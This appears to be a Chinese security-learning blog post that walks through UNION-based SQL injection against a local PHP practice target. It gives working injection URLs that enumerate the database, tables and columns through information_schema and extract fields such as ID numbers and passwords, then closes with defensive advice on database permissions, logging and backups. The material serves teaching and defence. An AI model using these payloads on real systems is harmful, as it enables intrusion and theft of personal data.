补充:【数据库】

24 阅读2分钟

【网安学习】SQL注⼊拓展:\color{red}{SQL注⼊拓展:}

联合查询(\color{red}{联合查询(}UNION SELECT)实战\color{red}{)实战}

原理拆解

底层逻辑:联合查询核心步骤(四步走)

第一步:判断目标表最大字段数(order by 法)

核⼼原理: order by N 表示按表中第N个字段排序,N超过最⼤字段数则报错,是联合查询的“敲⻔砖”(UNION要求前后查询字段数⼀致)。

第二步:判断回显位(数字替换+union select)

核⼼原理:回显位是“前端展示数据的窗⼝”,只有找到回显位,查询结果才会显示在⻚⾯。

第三步:信息收集(先库→再表→最后字段)

前置知识: information_schema 是MySQL默认库,存储所有数据库的库名、表名、字段名,是SQL注⼊信息收集核⼼。

操作目标实战脚本(URL访问)核心说明执行结果
查询当前数据库名http://localhost/a.php?id=-1 union select 1,database(),3,4,5,6--+database():MySQL函数,返回当前使用的数据库名学生姓名:school
查询school库的表名http://localhost/a.php?id=-1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='school'--+table_name:存储所有表名;table_schema:限制只查school库的表学生姓名:users
查询users表的字段名http://localhost/a.php?id=-1 union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'--+column_name:存储所有字段名;双重限制库名和表名,精准查询逐行显示:id、name、id_card、phone、address、password
第四步:获取前端隐藏的敏感数据

核⼼函数: concat() 可拼接多个字段内容,在单个回显位显示多字段信息,语法:语法:CONCAT_WS(分隔符, param1, param2, ..., paramN) 。

实操复现

工具使用:Navicat Premium 17、phpStudy 2018、Trae、浏览器
关键配置:先开启phpStudy 2018
环境准备:php靶场搭建

图片.png

操作步骤:
第一步:

图片.png

第二步:

图片.png

第三步:
查询当前数据库名

图片.png

查询school库的表名

图片.png

查询users表的字段名

图片.png

第四步:

图片.png

防御加固

一、进阶加固:数据库权限管控

给⽤户的权限“刚好够⽤”,⽐如教务系统代码只需查/增/改数据,就不赋予删表/建库权限,降低攻击危害。

  1. 创建普通⽤户并分配权限 图片.png
  2. root账号加固 图片.png

二、MySQL⽇志(审计溯源)

记录所有SQL操作,⽤于攻击后溯源(谁、何时、做了什么操作),及时发现异常(如频繁失败登录、删除操作)。 图片.png

三、最后⼀道防线:数据备份

核⼼原则:3-2-1原则(⾏业通⽤)
(1)3份备份:原始数据 + 本地备份 + 异地备份;
(2)2种介质:硬盘 + 云盘(如本地硬盘+阿⾥云);
(3)1份离线:⾄少1份备份不联⽹(如移动硬盘离线存放)。

总结

联合查询四步走:用 order by 判字段数,改无效 id 找回显位,借 information_schema 查库表字段,用 CONCAT_WS 拼接提取敏感数据。